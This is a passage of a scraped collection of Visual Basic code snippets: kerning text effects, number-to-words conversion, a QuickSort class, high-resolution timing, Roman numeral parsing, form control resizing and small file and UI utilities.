Module Name : TextEffect_Module\n' * Module Filename : TextEffect.bas\n' **********************************************************************\n' * Comments : Try this text effect, great effects\n' * Ex :\n' * TextEffect Picture1, \"\", 12, 12, , 128, 0, RGB(&H80, 0, 0)\n' * TextEffect Me, \"\", 12, 12, , 128, 0, RGB(&H80, 0, 0)\n' *\n' *\n' **********************************************************************\nPublic Sub TextEffect(obj As Object, ByVal sText As String, ByVal lX As Long, ByVal lY As Long, Optional ByVal bLoop As Boolean = False, Optional ByVal lStartSpacing As Long = 128, Optional ByVal lEndSpacing As Long = -1, Optional ByVal oColor As OLE_COLOR = vbWindowText)\n ' #VBIDEUtils#************************************************************\n ' * Programmer Name : Waty Thierry\n ' * Web Site : www.geocities.com/ResearchTriangle/6311/\n ' * E-Mail : waty.thierry@usa.net\n ' * Date : 24/09/98\n ' * Time : 15:39\n ' * Module Name : TextEffect_Module\n ' * Module Filename : TextEffect.bas\n ' * Procedure Name : TextEffect\n ' * Parameters :\n ' * obj As Object\n ' * ByVal sText As String\n ' * ByVal lX As Long\n ' * ByVal lY As Long\n ' * Optional ByVal bLoop As Boolean = False\n ' * Optional ByVal lStartSpacing As Long = 128\n ' * Optional ByVal lEndSpacing As Long = -1\n ' * Optional ByVal oColor As OLE_COLOR = vbWindowText\n ' **********************************************************************\n ' * Comments :\n ' *** Kerning describes the spacing between characters when a font is written out.\n ' *** By default, fonts have a preset default kerning, but this very easy to modify\n ' *** under the Win32 API.\n ' *\n ' *** The following (rather unusally named?) API function is all you need:\n ' *\n ' *** Private Declare Function SetTextCharacterExtra Lib \"gdi32\" () (ByVal hdc As Long, ByVal nCharExtra As Long) As Long\n ' *\n ' *** By setting nCharExtra to a negative value, you bring the characters closer together,\n ' *** and by setting to a positive values the characters space out.\n ' *** It works with VB's print methods too.\n ' *\n ' *\n ' **********************************************************************\n Dim lhDC As Long\n Dim i As Long\n Dim x As Long\n Dim lLen As Long\n Dim hBrush As Long\n Static tR As RECT\n Dim iDir As Long\n Dim bNotFirstTime As Boolean\n Dim lTime As Long\n Dim lIter As Long\n Dim bSlowDown As Boolean\n Dim lCOlor As Long\n Dim bDoIt As Boolean\n \n lhDC = obj.hDC\n iDir = -1\n i = lStartSpacing\n tR.Left = lX: tR.Top = lY: tR.Right = lX: tR.Bottom = lY\n OleTranslateColor oColor, 0, lCOlor\n \n hBrush = CreateSolidBrush(GetSysColor(COLOR_BTNFACE))\n lLen = Len(sText)\n \n SetTextColor lhDC, lCOlor\n bDoIt = True\n \n Do While bDoIt\n lTime = timeGetTime\n If (i < -3) And Not (bLoop) And Not (bSlowDown) Then\n bSlowDown = True\n iDir = 1\n lIter = (i + 4)\n End If\n If (i > 128) Then iDir = -1\n If Not (bLoop) And iDir = 1 Then\n If (i = lEndSpacing) Then\n ' Stop\n bDoIt = False\n Else\n lIter = lIter - 1\n If (lIter <= 0) Then\n i = i + iDir\n lIter = (i + 4)\n End If\n End If\n Else\n i = i + iDir\n End If\n \n FillRect lhDC, tR, hBrush\n x = 32 - (i * lLen)\n SetTextCharacterExtra lhDC, i\n DrawText lhDC, sText, lLen, tR, DT_CALCRECT\n tR.Right = tR.Right + 4\n If (tR.Right > obj.ScaleWidth \\ Screen.TwipsPerPixelX) Then tR.Right = obj.ScaleWidth \\ Screen.TwipsPerPixelX\n DrawText lhDC, sText, lLen, tR, DT_LEFT\n obj.Refresh\n \n Do\n DoEvents\n If obj.Visible = False Then Exit Sub\n Loop While (timeGetTime - lTime) < 20\n \n Loop\n DeleteObject hBrush\nEnd Sub\n"},{"WorldId":1,"id":1083,"LineNumber":1,"line":"Private units(20), teens(11)\nFunction AmtToWords(amount As Currency, UnitCurr As String, DecCurr As String, UnitsCurr As String, DecsCurr As String) As String\nDim new_amt, TRstring, BIstring, MIstring, THstring, HUstring, DEstring, Separator As String\nIf amount = 0 Then\n AmtToWords = \"NIL\"\n Exit Function\nEnd If\nunits(0) = \"\"\nunits(1) = \" ONE\"\nunits(2) = \" TWO\"\nunits(3) = \" THREE\"\nunits(4) = \" FOUR\"\nunits(5) = \" FIVE\"\nunits(6) = \" SIX\"\nunits(7) = \" SEVEN\"\nunits(8) = \" EIGHT\"\nunits(9) = \" NINE\"\nunits(10) = \" TEN\"\nunits(11) = \" ELEVEN\"\nunits(12) = \" TWELVE\"\nunits(13) = \" THIRTEEN\"\nunits(14) = \" FOURTEEN\"\nunits(15) = \" FIFTEEN\"\nunits(16) = \" SIXTEEN\"\nunits(17) = \" SEVENTEEN\"\nunits(18) = \" EIGHTEEN\"\nunits(19) = \" NINETEEN\"\n \nteens(0) = \"\"\nteens(1) = \" TEN\"\nteens(2) = \" TWENTY\"\nteens(3) = \" THIRTY\"\nteens(4) = \" FORTY\"\nteens(5) = \" FIFTY\"\nteens(6) = \" SIXTY\"\nteens(7) = \" SEVENTY\"\nteens(8) = \" EIGHTY\"\nteens(9) = \" NINETY\"\nteens(10) = \" HUNDRED\"\nnew_amt = Format(amount, \"000000000000000.00\")\nTRstring = Mid(new_amt, 1, 3)\nBIstring = Mid(new_amt, 4, 3)\nMIstring = Mid(new_amt, 7, 3)\nTHstring = Mid(new_amt, 10, 3)\nHUstring = Mid(new_amt, 13, 3)\nDEstring = \"0\" + Mid(new_amt, 17, 2)\nAmtToWords = \"\"\nUnitCurr = IIf(Val(Left(new_amt, 15)) = 0, \"\", UnitCurr)\nDecCurr = IIf(Val(Right(new_amt, 2)) = 0, \"\", DecCurr)\nUnitCurr = IIf(Val(Left(new_amt, 15)) > 1, UnitsCurr, UnitCurr)\nDecCurr = IIf(Val(Right(new_amt, 2)) > 1, DecsCurr, DecCurr)\nSeparator = IIf(UnitCurr <> \"\" And DecCurr <> \"\", \" and\", \"\")\nAmtToWords = UnitCurr + AmtToWords\nAmtToWords = AmtToWords + IIf(Val(TRstring) > 0, numconv(TRstring) + \" TRILLION\", \"\")\nAmtToWords = AmtToWords + IIf(Val(BIstring) > 0, numconv(BIstring) + \" BILLION\", \"\")\nAmtToWords = AmtToWords + IIf(Val(MIstring) > 0, numconv(MIstring) + \" MILLION\", \"\")\nAmtToWords = AmtToWords + IIf(Val(THstring) > 0, numconv(THstring) + \" THOUSAND\", \"\")\nAmtToWords = AmtToWords + IIf(Val(HUstring) > 0, numconv(HUstring), \"\")\nAmtToWords = AmtToWords + IIf(Val(DEstring) > 0, Separator + numconv(DEstring), \"\")\nAmtToWords = Trim(AmtToWords + \" \" + DecCurr) + \" ONLY\"\nEnd Function\nFunction numconv(amt) As String\nDim aAmount, bAmount, cAmount, dAmount As Integer\nDim hyphen As String\naAmount = Val(Mid(amt, 2, 2))\nbAmount = Val(Mid(amt, 3, 1))\ncAmount = Val(Mid(amt, 2, 1))\ndAmount = Val(Mid(amt, 1, 1))\nIf aAmount < 20 Then\n numconv = units(aAmount)\nElse\n numconv = units(bAmount)\n If bAmount > 0 And cAmount > 0 Then\n hyphen = \"-\"\n End If\n numconv = teens(cAmount) + hyphen + LTrim(numconv)\nEnd If\nIf dAmount > 0 Then\n numconv = units(dAmount) + \" HUNDRED\" + numconv\nEnd If\nEnd Function\n"},{"WorldId":1,"id":1091,"LineNumber":1,"line":"Option Explicit\n' QuickSort class\n'\n' To use this class, you must do a bit of planning: First,\n' in a form or other object module (not a .bas module),\n' create an object like this:\n'\n' Private WithEvents TestSort as clsQuickSort\n'\n' Next, define a list of values. This list can be\n' disk-based (table) or memory-based (array).\n' Regardless, this list MUST be numerically indexed\n' with no gaps in the numbering. The indexing can\n' start from any number and go up to any number.\n'\n' Then, create code for the two events defined by this\n' class: isLess and swapItems. The isLess event will\n' pass three variables to you: ndx1, ndx2 and Result.\n' Look at element ndx1 and ndx2 in your array (or\n' however you've implemented storage). If element\n' ndx1 is less than element ndx2, set the Result\n' variable to -1; if element ndx1 is greater than\n' element ndx2, set Result to 1; else set it to 0.\n'\n' To sort in descending order, reverse that logic.\n' i.e. If element ndx1 is less than element ndx2,\n' set the Result variable to 1; if element ndx1 is\n' greater than element ndx2, set Result to -1; else\n' set it to 0.\n'\n' If the \"key\" of your data is of type String, you\n' can use the StrComp function in your isLess function:\n' Result = StrComp(ar(ndx1), ar(ndx2))\n'\n' The swapItems event will pass you two variables:\n' ndx1 and ndx2. Within that code, do whatever is needed\n' to swap those two items within your storage area.\n'\n' Within your code, when you wish to sort your list,\n' call the .Sort method passing it the number of the\n' last element and the number of the first element.\n' If you omit the first element's index, it will\n' default to 1.\n'\n' Upon completion, the property .RunTime will contain\n' the number of seconds the routine ran.\n'\n' Sample code that sorts 100 random numbers is listed\n' below at the end of the class code.\nPublic Event isLess _\n (ByVal ndx1 As Long, _\n ByVal ndx2 As Long, _\n Result As Integer)\n \nPublic Event SwapItems _\n (ByVal ndx1 As Long, _\n ByVal ndx2 As Long)\nPublic runTime As Long\nPrivate Function Partition _\n (ByVal lb As Long, ByVal hb As Long) As Variant\n \n Dim pivot As Long\n Dim Result As Integer\n Dim lbi As Long\n Dim hbi As Long\n \n hbi = hb\n lbi = lb\n \n If hb <= lb Then\n Partition = Null\n Exit Function\n End If\n \n If hb - lb = 1 Then\n Result = 0\n RaiseEvent isLess(lb, hb, Result)\n If Result > 0 Then\n RaiseEvent SwapItems(lb, hb)\n End If\n Partition = Null\n Exit Function\n End If\n \n pivot = lbi\n Do While lbi < hbi\n Result = 0\n RaiseEvent isLess(pivot, hbi, Result)\n Do While Result <= 0 And hbi > lbi\n hbi = hbi - 1\n Result = 0\n RaiseEvent isLess(pivot, hbi, Result)\n Loop\n If hbi <> pivot Then\n RaiseEvent SwapItems(lbi, hbi)\n If lbi = pivot Then pivot = hbi\n End If\n \n Result = 0\n RaiseEvent isLess(lbi, pivot, Result)\n Do While Result < 0 And lbi < hbi\n lbi = lbi + 1\n Result = 0\n RaiseEvent isLess(lbi, pivot, Result)\n Loop\n If lbi <> pivot Then\n RaiseEvent SwapItems(lbi, hbi)\n If pivot = hbi Then pivot = lbi\n End If\n Loop\n Partition = pivot\nEnd Function\nPrivate Sub SortIt _\n (ByVal lastNdx As Long, _\n Optional ByVal firstNdx As Long = 1)\n \n Dim pivot As Variant\n If firstNdx < lastNdx Then\n pivot = Partition(firstNdx, lastNdx)\n If Not IsNull(pivot) Then\n Call SortIt(pivot - 1, firstNdx)\n Call SortIt(lastNdx, pivot + 1)\n End If\n End If\nEnd Sub\nPublic Sub Sort _\n (ByVal lastNdx As Long, _\n Optional ByVal firstNdx As Long = 1)\n \n Dim startTime As Long\n startTime = Timer\n \n SortIt lastNdx, firstNdx\n \n runTime = Timer - startTime\n Do While runTime < 0\n runTime = runTime + 86400\n Loop\nEnd Sub\nPrivate Sub Class_Initialize()\n runTime = 0\nEnd Sub\n' SAMPLE CODE:\n'Private ar(100) As Long\n'Private WithEvents arSort As clsQuickSort\n'Private Sub arSort_isLess _\n (ByVal ndx1 As Long, ByVal ndx2 As Long, _\n Result As Integer)\n'\n' If ar(ndx1) = ar(ndx2) Then\n' Result = 0\n' Elseif ar(ndx1) < ar(ndx2) then\n' Result = -1\n' Else\n' Result = 1\n' End If\n'End Sub\n'Private Sub arSort_SwapItems _\n (ByVal ndx1 As Long, ByVal ndx2 As Long)\n'\n' Dim tmp As Long\n' tmp = ar(ndx1)\n' ar(ndx1) = ar(ndx2)\n' ar(ndx2) = tmp\n'End Sub\n' Randomize\n'\n' Set arSort = New clsQuickSort\n' Dim i As Long\n' For i = LBound(ar) To UBound(ar)\n' ar(i) = Int(Rnd * 100 + 1)\n' Next i\n' arSort.Sort UBound(ar), LBound(ar)\n' Debug.Print \"XXXXXXXXXXXXXXXXXXXXXXXXXXXX\"\n' For i = LBound(ar) To UBound(ar)\n' Debug.Print ar(i)\n' Next i\n' Debug.Print \"XXXXXXXXXXXXXXXXXXXXXXXXXXXX\"\n' Debug.Print \"Sort time = \"; arSort.runTime\n"},{"WorldId":1,"id":1088,"LineNumber":1,"line":"Option Explicit\nPrivate Type LARGE_INTEGER\n lowpart As Long\n highpart As Long\nEnd Type\nPrivate Declare Function QueryPerformanceCounter Lib \"kernel32\" (lpPerformanceCount As LARGE_INTEGER) As Long\nPrivate Declare Function QueryPerformanceFrequency Lib \"kernel32\" (lpFrequency As LARGE_INTEGER) As Long\nPrivate m_PerfFrequency As LARGE_INTEGER\nPrivate m_CounterStart As LARGE_INTEGER\nPrivate m_CounterEnd As LARGE_INTEGER\nPrivate m_crFrequency As Currency\nPrivate m_bEnable As Boolean\n'mesure time that the code take jus to call functions\nProperty Get Delay() As Double\n Dim i As Integer\n Dim crTotalcount As Currency\n \n For i = 1 To 100\n Me.StartCounter\n Me.StopCounter\n crTotalcount = crTotalcount + (Large2Currency(m_CounterEnd) - Large2Currency(m_CounterStart))\n Next i\n Delay = ((crTotalcount / 100) / m_crFrequency) * 1000#\nEnd Property\n\nPrivate Function Large2Currency(largeInt As LARGE_INTEGER) As Currency\n If (largeInt.lowpart) > 0& Then\n Large2Currency = largeInt.lowpart\n Else\n Large2Currency = CCur(2 ^ 31) + CCur(largeInt.lowpart And &H7FFFFFFF)\n End If\n \n Large2Currency = Large2Currency + largeInt.highpart * CCur(2 ^ 32)\nEnd Function\n\nPrivate Sub Class_Initialize()\n Dim lResp As Long\n \n m_bEnable = CBool(QueryPerformanceFrequency(m_PerfFrequency))\n \n If m_bEnable Then\n \n End If\n m_crFrequency = Large2Currency(m_PerfFrequency)\n Debug.Assert m_bEnable 'Computer does not suport PerfCounter\nEnd Sub\nPublic Sub StartCounter()\nDim lResp As Long\nlResp = QueryPerformanceCounter(m_CounterStart)\nEnd Sub\nPublic Sub StopCounter()\nDim lResp As Long\nlResp = QueryPerformanceCounter(m_CounterEnd)\nEnd Sub\nProperty Get TimeElapsed() As Double\n \n Dim crStart As Currency\n Dim crStop As Currency\n Dim crFrequency As Currency\n \n crStart = Large2Currency(m_CounterStart)\n crStop = Large2Currency(m_CounterEnd)\n \n \n TimeElapsed = ((crStop - crStart) / m_crFrequency) * 1000#\nEnd Property\n\n"},{"WorldId":1,"id":1092,"LineNumber":1,"line":"Option Explicit\n'Valid roman numerals and their values\nPrivate Const M = 1000\nPrivate Const D = 500\nPrivate Const C = 100\nPrivate Const L = 50\nPrivate Const X = 10\nPrivate Const V = 5\nPrivate Const I = 1\nPrivate Function IsRoman(ByVal numr As String) As Boolean\n \n 'This function is given a character and returns true if it is\n 'a valid roman numeral, false otherwise.\n 'Convert digit to UpperCase\n numr = UCase(numr)\n 'Test the digit\n Select Case numr\n Case \"M\"\n IsRoman = True\n Case \"D\"\n IsRoman = True\n Case \"C\"\n IsRoman = True\n Case \"L\"\n IsRoman = True\n Case \"X\"\n IsRoman = True\n Case \"V\"\n IsRoman = True\n Case \"I\"\n IsRoman = True\n Case Else\n IsRoman = False\n End Select\n \nEnd Function\nPrivate Function ConvertRoman(ByVal numr As String) As String\n 'This function is given a roman numeral and returns its value.\n 'NULL is returned if the character is not valid\nDim digit As Integer\n\n 'Convert digit to UpperCase\n numr = UCase(numr)\n 'Convert the digit\n Select Case numr\n Case \"M\"\n digit = M\n Case \"D\"\n digit = D\n Case \"C\"\n digit = C\n Case \"L\"\n digit = L\n Case \"X\"\n digit = X\n Case \"V\"\n digit = V\n Case \"I\"\n digit = I\n Case Else\n digit = vbNull\n End Select\n \n 'And return its value\n ConvertRoman = digit\n \nEnd Function\nPublic Function GetRoman(ByVal numr As String) As String\n 'This function reads the next number in roman numerals from the input\n 'and returns it as an integer\n \nDim rdigit As String\nDim num As Long\nDim DigValue As Long\nDim LastDigValue As String\nDim j As Long\n j = 1\n num = 0\n LastDigValue = M\n \n 'Get the first digit\n rdigit = Mid(numr, j, 1)\n 'While it is a roman digit\n Do While IsRoman(rdigit)\n 'Convert roman digit to its value\n DigValue = ConvertRoman(rdigit)\n 'If previous digit was a prefix digit\n If DigValue > LastDigValue Then\n 'Adjust total\n num = num - 2 * LastDigValue + DigValue\n Else\n 'Otherwise accumulate the total\n num = num + DigValue\n 'Save this digit as previous\n LastDigValue = DigValue\n End If\n 'Get next digit\n j = j + 1\n rdigit = Mid(numr, j, 1)\n 'End of the string detected, exit\n If Len(rdigit) = 0 Then\n Exit Do\n End If\n Loop\n 'Return the number\n GetRoman = num\nEnd Function\n"},{"WorldId":1,"id":1107,"LineNumber":1,"line":"'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n' MODULE DESCRIPTION:\n' Class for scaling/repositioning controls on a form\n'\n' DATE CREATED:\n' 10-22-1998\n'\n' AUTHOR:\n' John Buzzurro\n'\n' COPYRIGHT NOTICE:\n' Copyright (c) 1998 by John Buzzurro\n'\n' NOTES:\n' A) To give your form resizing ability:\n'\n' 1) Create an instance of this class\n' 2) Set the SourceForm property of this class = your form\n' 3) In your Form_Resize() event handler, call the ScaleControls() method of\n' this class\n' 4) Optional - To refine the type of scaling/positioning of a control:\n' Set the .Tag property of the control to a string containing an \"@\" sign\n' followed by any of the following, separated by commas: T,L,H,W,\n' Where T = Adjust control's Top position\n' L = Adjust control's Left position\n' H = Adjust control's height\n' W = Adjust control's width\n'\n' Example: \"@T,L\"\n' Note that if the .Tag property does not start with a \"@\", the resizer\n' assumes \"@T,L,H,W\"; If the .Tag property is set only to \"@\", the\n' resizer will not attempt to reposition or resize the control.\n'\n' B) If you Add or Remove controls at runtime, OR you adjust the height or\n' width of the form programmatically at runtime, you MUST call the\n' ReInitialize() method of this class.\n'\n' C) For Image controls, you need to set the Stretch property to True for the\n' control to properly resize.\n'\n' EXAMPLE FORM MODULE CODE:\n' Option Explicit\n'\n' Dim mcFormResize As New clsFormResize\n'\n' Private Sub Form_Load()\n' mcFormResize.SourceForm = Me\n' End Sub\n'\n' Private Sub Form_Resize()\n' mcFormResize.ScaleControls\n' End Sub\n'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\nOption Explicit\n' Information we store about a control\nPrivate Type tControlPosition\n cControl As Control ' Reference to the control instance\n nLeft As Long ' Original Left pos\n nTop As Long ' Original Top pos\n nWidth As Long ' Original Width\n nHeight As Long ' Original Height\nEnd Type\n' Module-scope storage\nPrivate mfSourceForm As Form ' The form we are resizing\nPrivate mnLastWidth As Long ' Original form width\nPrivate mnLastHeight As Long ' Original form height\nPrivate matControlPos() As tControlPosition ' Array for storing control info\nPrivate mbIsFirstTime As Boolean ' Flag indicating first time scale\n'*****************************************************************************\n' Property: SourceForm (get)\n' Returns the form object to which this CFormMetric instance belongs\n'*****************************************************************************\nPublic Property Get SourceForm() As Form\n Set SourceForm = mfSourceForm\nEnd Property\n'*****************************************************************************\n' Property: SourceForm (put)\n' Sets the form object to which this CFormMetric instance belongs\n'*****************************************************************************\nPublic Property Let SourceForm(ByVal vNewValue As Form)\n Set mfSourceForm = vNewValue\n \nEnd Property\n'*****************************************************************************\n' Method: ScaleControls()\n' Adjusts the size and position of the form's controls relative to\n' the current form size\n'*****************************************************************************\nPublic Sub ScaleControls()\n Dim sFlags As String, _\n sTemp As String\n Dim nDeltaLeft As Long, _\n nDeltaTop As Long, _\n nDeltaWidth As Long, _\n nDeltaHeight As Long, _\n nTextHeight As Long\n Dim iControl As Integer\n Dim nWidthChange As Double, _\n nHeightChange As Double\n Dim bIsLineControl As Boolean\n Dim cControl As Control\n \n If (mbIsFirstTime) Then\n Call SaveInitialState\n Exit Sub\n End If\n \n ' If the form is minimized, there's nothing to do\n If (mfSourceForm.WindowState = vbMinimized) Then Exit Sub\n \n ' Calculate the change in form size\n nDeltaWidth = mfSourceForm.ScaleWidth - mnLastWidth\n nDeltaHeight = mfSourceForm.ScaleHeight - mnLastHeight\n \n nHeightChange = mfSourceForm.ScaleHeight / mnLastHeight\n nWidthChange = mfSourceForm.ScaleWidth / mnLastWidth\n \n For iControl = LBound(matControlPos) To UBound(matControlPos)\n Set cControl = matControlPos(iControl).cControl\n \n With cControl\n ' Test whether this is a line control; If it is,\n ' we need to set its X1, X2, Y1, Y2 properties instead of the\n ' usual .Top, .Left, .Height, .Width properties\n If (TypeOf cControl Is VB.Line) Then\n bIsLineControl = True\n Else\n ' Not a line control\n bIsLineControl = False\n End If\n \n On Error GoTo errScaleControls\n \n ' See if the control has specified which attributes can be changed\n sFlags = UCase(.Tag)\n \n ' If none specified, assume all\n If (sFlags = \"\") Then sFlags = \"@T,H,L,W\"\n \n ' If Tag property is used for something else, assume all\n If (Left$(sFlags, 1) <> \"@\") Then sFlags = \"@T,H,L,W\"\n \n ' Resize/Reposition the control\n If (bIsLineControl) Then\n ' Line control\n If (InStr(sFlags, \"T\")) Then .Y1 = (matControlPos(iControl).nTop * nHeightChange)\n If (InStr(sFlags, \"H\")) Then .Y2 = (matControlPos(iControl).nHeight * nHeightChange)\n If (InStr(sFlags, \"L\")) Then .X1 = (matControlPos(iControl).nLeft * nWidthChange)\n If (InStr(sFlags, \"W\")) Then .X2 = (matControlPos(iControl).nWidth * nWidthChange)\n Else\n ' All other controls\n If (InStr(sFlags, \"T\")) Then .Top = (matControlPos(iControl).nTop * nHeightChange)\n If (InStr(sFlags, \"H\")) Then .Height = (matControlPos(iControl).nHeight * nHeightChange)\n If (InStr(sFlags, \"L\")) Then .Left = (matControlPos(iControl).nLeft * nWidthChange)\n If (InStr(sFlags, \"W\")) Then .Width = (matControlPos(iControl).nWidth * nWidthChange)\n End If\n \n' nTextHeight = 0\n' nTextHeight = mfSourceForm.TextHeight(.Caption)\n' If Not nTextHeight Then nTextHeight = mfSourceForm.TextHeight(.Text)\n' If (nTextHeight > .Height) Then\n' .Height = mfSourceForm.TextHeight(.Caption) * 1.2\n' .Height = mfSourceForm.TextHeight(.Text) * 1.2\n' End If\n \n End With\nskipControl:\n Next iControl\n \nExit Sub\nerrScaleControls:\n ' If the Left, Top, Height or Width property is read-only, skip to next line;\n ' Otherwise, skip the control entirely\n If (Err.Number = 383 Or Err.Number = 387 Or Err.Number = 393 Or Err.Number = 438) Then Resume Next\n Resume skipControl\n \nEnd Sub\n'*****************************************************************************\n' Method: SizeToScreen()\n' Size the form relative to the current screen resolution\n'\n' Params: Percentage of total screen size to use for the form size\n'*****************************************************************************\nPublic Sub SizeFormToScreen(nPercent As Integer)\n Dim w As Long, _\n h As Long\n \n w = Int(Screen.Width * (nPercent / 100))\n h = Int(Screen.Height * (nPercent / 100))\n \n mfSourceForm.Width = w\n mfSourceForm.Height = h\n \nEnd Sub\n'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n' Method: ReInitialize()\n' ReInitialize Method; This method should be called if:\n' a) You programmatically change the form size at runtime;\n' b) You add or remove controls to/from the form at runtime\n'\n' MODIFIES:\n' Recreates the matControlPos() array and saves the current form\n' information\n'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\nPublic Sub ReInitialize()\n Call SaveInitialState\nEnd Sub\n'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n' DESCRIPTION:\n' Class instance initialization; Initialize module-scope variables\n'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\nPrivate Sub Class_Initialize()\n mbIsFirstTime = True\n mnLastWidth = 0\n mnLastHeight = 0\n Set mfSourceForm = Nothing\nEnd Sub\n'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n' DESCRIPTION:\n' Save the initial state of the form and controls attached to this class\n' instance\n'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\nPrivate Sub SaveInitialState()\n \n Call SaveFormInfo\n Call SaveControlInfo\nEnd Sub\n'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n' DESCRIPTION:\n' Save form width and height\n'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\nPrivate Sub SaveFormInfo()\n ' Take a snapshot of the form's initial position and size\n With mfSourceForm\n If (TypeOf mfSourceForm Is MDIForm) Then\n mnLastWidth = .Width\n mnLastHeight = .Height\n Else\n mnLastWidth = .ScaleWidth\n mnLastHeight = .ScaleHeight\n End If\n End With\n \nEnd Sub\n'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n' DESCRIPTION:\n' Save state information for each control on the form\n'\n' NOTES:\n' We only save info for controls that have a Visible property\n'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\nPrivate Sub SaveControlInfo()\n Dim cControl As Control\n Dim bCanSetLeft As Boolean, _\n bCanSetTop As Boolean, _\n bCanSetWidth As Boolean, _\n bCanSetHeight As Boolean, _\n bHasVisibleProp As Boolean, _\n bHasCaptionProp As Boolean, _\n bHasTextProp As Boolean, _\n bTemp As Boolean\n Dim i As Integer\n \n Erase matControlPos\n \n ''\n ' Loop through each control on the form...\n For Each cControl In mfSourceForm.Controls\n bCanSetLeft = True\n bCanSetTop = True\n bCanSetWidth = True\n bCanSetHeight = True\n bHasVisibleProp = True\n bHasCaptionProp = True\n bHasTextProp = True\n \n With cControl\n \n ' Test whether control has a Visible property\n On Error GoTo errNoVisibleProp\n bTemp = .Visible\n \n On Error GoTo 0\n \n ' If control has visible property, save its info in an array\n If (bHasVisibleProp) Then\n i = i + 1\n ReDim Preserve matControlPos(1 To i)\n \n Set matControlPos(i).cControl = cControl\n \n ' If this is a Line control...\n If (TypeOf cControl Is VB.Line) Then\n ' ... then this is a special case 'cause its position\n ' is specified by different properties than normal\n matControlPos(i).nLeft = .X1\n matControlPos(i).nTop = .Y1\n matControlPos(i).nWidth = .X2\n matControlPos(i).nHeight = .Y2\n Else\n ' This is not a Line control\n On Error Resume Next\n matControlPos(i).nLeft = .Left\n matControlPos(i).nTop = .Top\n matControlPos(i).nWidth = .Width\n matControlPos(i).nHeight = .Height\n On Error GoTo 0\n End If\n \n End If\n \n End With\n \n Next cControl\n \n mbIsFirstTime = False\n \nExit Sub\n \nerrNoVisibleProp:\n bHasVisibleProp = False\n Resume Next\nEnd Sub\n"},{"WorldId":1,"id":1112,"LineNumber":1,"line":"- Put this on form load...\nPrivate Sub Form_Load()\nDim MyDate\nMyDate = Format(Date, \"dddd, mmm d yyyy\")\nText1.Text = \"C:\\SourceDirectory\\SourceFile.mdb\"\nText2.Text = \"C:\\DestinationDirectory\\\" + MyDate + \".mdb\"\n- Put this on Command1 Click...\nPrivate Sub Command1_Click()\nFileCopy Text1.Text, Text2.Text"},{"WorldId":1,"id":1116,"LineNumber":1,"line":"Public Sub CheckDir(file)\n\t\tIx = 4 'Initial index\n\t\tKSlash = InStr(1, file, \"\\\", 1) 'Search for first \"\\\"\n \t\tFor Cnt = 1 To Len(file) 'Run until discover\n \t \t 'other directories\n \t\tKSlash = InStr((KSlash + 1), file, \"\\\", 1)\n \t\tIf KSlash = 0 Then Exit For 'Last slash \n \t\tdir1 = Left(file, (KSlash - 1))\n \t\tcdir1 = Mid(dir1, Ix)\n \t\tIx = Ix + Len(cdir1) + 1\n \t\thh = Dir(dir1, vbDirectory)\n \t\t'If Directory doesn't exist, create it\n \t\tIf StrComp(hh, cdir1, 1) <> 0 Then\n \t\t\tMkDir (dir1)\n \t\tEnd If\n \t\tNext Cnt\n\tEnd Sub"},{"WorldId":1,"id":7859,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7860,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":1146,"LineNumber":1,"line":"' Place this code in the General Declarations section of Form1.\nPrivate Sub Command1_Click()\n 'Open the toolbar window\n Form2.Show\n 'Move the toolbar to the right\n 'of Form1.\n '(gives it a docking effect)\n Form2.Height = Form1.Height - 330\n 'Subtract the titlebar height -^\n Form2.Left = Form1.Left + Form1.Width - Form2.Width\n Form2.Top = Form1.Top + Form1.Height - Form2.Height\nEnd Sub\nPrivate Sub Form_Load()\n 'Set the button properties\n Command1.Caption = \"Show Toolbar\"\n Command1.Width = 2055\n Command1.Height = 375\nEnd Sub\nPrivate Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)\n 'If Form2 is opened when you close\n 'Form1, it will not end your app, so\n 'you have to manually unload Form2.\n Unload Form2\nEnd Sub\n' Place this code in the Form_Load event of Form2\nPrivate Sub Form_Load()\nSetWindowLong Me.hwnd, GWL_HWNDPARENT, Form1.hwnd\nEnd Sub\n"},{"WorldId":1,"id":1153,"LineNumber":1,"line":"'***********************************************************************\n' Function: Apostrophe\n' Argument: sFieldString\n' Description: This subroutine will fill format the field we\n' want to store in the database if there is some apostrophes\n' in the field.\n'***********************************************************************\nPublic Function Apostrophe(sFieldString As String) As String\nIf InStr(sFieldString, \"'\") Then\n Dim iLen As Integer\n Dim ii As Integer\n Dim apostr As Integer\n iLen = Len(sFieldString)\n ii = 1\n Do While ii <= iLen\n If Mid(sFieldString, ii, 1) = \"'\" Then\n apostr = ii\nsFieldString = Left(sFieldString, apostr) & \"'\" & _\nRight(sFieldString, iLen - apostr)\n iLen = Len(sFieldString)\n ii = ii + 1\n End If\n ii = ii + 1\n Loop\nEnd If\nApostrophe = sFieldString\nEnd Function"},{"WorldId":1,"id":1197,"LineNumber":1,"line":"'*******************************\n'demonstration on how to copy\n'an entire list or selected\n'list items to the clipboard\n'for use in other apps.\n'to see how it works, do the\n'following:\n'1. open a new project\n'2. put a listbox on the form,\n' name it lstList and set its\n' MultiSelect value to 2\n'3. put a command button on\n' the form and call it \n' cmdCopyList\n'4. put another command button\n' on the form and call it\n' cmdCopyListItems.\n'5. put a textbox on the form,\n' call it txtHidden, and set\n' its visible property to false.\n'6. paste the code into the\n' code window, run, and test.\n' Be sure to select some items\n' before you choose\n' copy list items.\n'\n'******************************\nPrivate Sub Form_Load()\n 'add rainbow colors to list box\n lstList.AddItem \"Red\"\n lstList.AddItem \"Orange\"\n lstList.AddItem \"Yellow\"\n lstList.AddItem \"Green\"\n 